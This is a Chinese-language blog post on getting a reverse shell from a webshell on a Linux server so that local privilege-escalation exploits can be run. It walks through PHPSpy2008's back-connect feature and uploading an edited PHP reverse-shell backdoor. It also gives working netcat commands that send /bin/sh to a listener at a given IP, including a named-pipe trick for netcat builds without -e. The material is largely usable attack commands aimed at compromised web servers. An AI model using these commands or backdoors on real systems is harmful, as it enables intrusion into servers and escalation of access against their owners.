最新消息:

Linux下通过webshell反弹shell总结

未分类 admin 5520浏览 0评论

反弹shell原因:

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法 利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

nc命令参数:

参  数:
-g<网关>   设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目>   设置来源路由指向器,其数值为4的倍数。
-h   在线帮助。
-i<延迟秒数>   设置时间间隔,以便传送信息及扫描通信端口。
-l   使用监听模式,管控传入的资料。
-n   直接使用IP地址,而不通过域名服务器。
-o<输出文件>   指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口>   设置本地主机使用的通信端口。
-r   乱数指定本地与远端主机的通信端口。
-s<来源位址>   设置本地主机送出数据包的IP地址。
-u   使用UDP传输协议。
-v   显示指令执行过程。
-w<超时秒数>   设置等待连线的时间。
-z   使用0输入/输出模式,只在扫描通信端口时使用。

一、使用PHP WebShell木马反弹Shell

一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。

在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:

  1. nc -vv -l -p 8080

然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在”Your IP”中显示本机IP,在”Your Port”中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用 Perl反弹(图1)。

图1

图1

设置完毕后,点击”Start”按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图2)。

图1

图2

除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:

$yourip = “111.123.96.28”;  $yourport = ‘8888’;

图3

图3

修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图3)。修改后保存文件,将其通过 WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命 令:

nc -vv -l -p 8888

使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。

ps:php-reverse-shell可以在http://pentestmonkey.net/tools/web-shells/php-reverse-shell下载。
二、使用NC反弹Shell

在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。

在Windows下反弹CmdShell时,首先要在本机运行”nc -vv -l -p 端口号”监听端口,然后在WebShell中执行”nc -e cmd.exe 监听主机IP地址  端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。

–在本机监听端口后,在WebShell运行nc反弹时,需要发送的是”/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:

  1. nc 119.1.44.32 8888 -e /bin/sh

即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。

二、NC不使用-e参数反弹Shell

反弹shell我们通常的做法是:
Attacker: nc -lnvp listenport
Victim: nc attackerip listenport -e /bin/sh在Linux的 大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个 GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制,但这种情况下是不是就 没办法利用了呢?天无绝人之路,来看下面的TIP。
在Attack这边依然用nc -lnvp listenport监听某端口,在目标环境中依次执行以下命令:

root@bt:~#mknod /tmp/backpipe p
root@bt:~#/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe第一条命令使用mknod在tmp目录下创建一个管道backpipe,第二条命令首先将默认shell环境的输入 重定向给刚才创建的管道,然后将输出通过nc attackerip listenport重定向到攻击者一端,最后将shell的执行结果再重定向到管道中。

网上查了下mknod命令,说是只能root用户才有权限执行,可是经过测试普通权限的用户也可以创建管道等特殊文件,如果没有权限使用mkfifo /tmp/backpipe也可以创建一个管道。

 

转载请注明:jinglingshu的博客 » Linux下通过webshell反弹shell总结

发表我的评论
取消评论

表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 推荐一款反弹 shell 的管理工具 : https://github.com/WangYihang/Reverse-Shell-Manager , 录制了一个小视频 : https://youtu.be/AoS-q1MGw30 , https://asciinema.org/a/143640
    王一航8年前 (2017-10-25)回复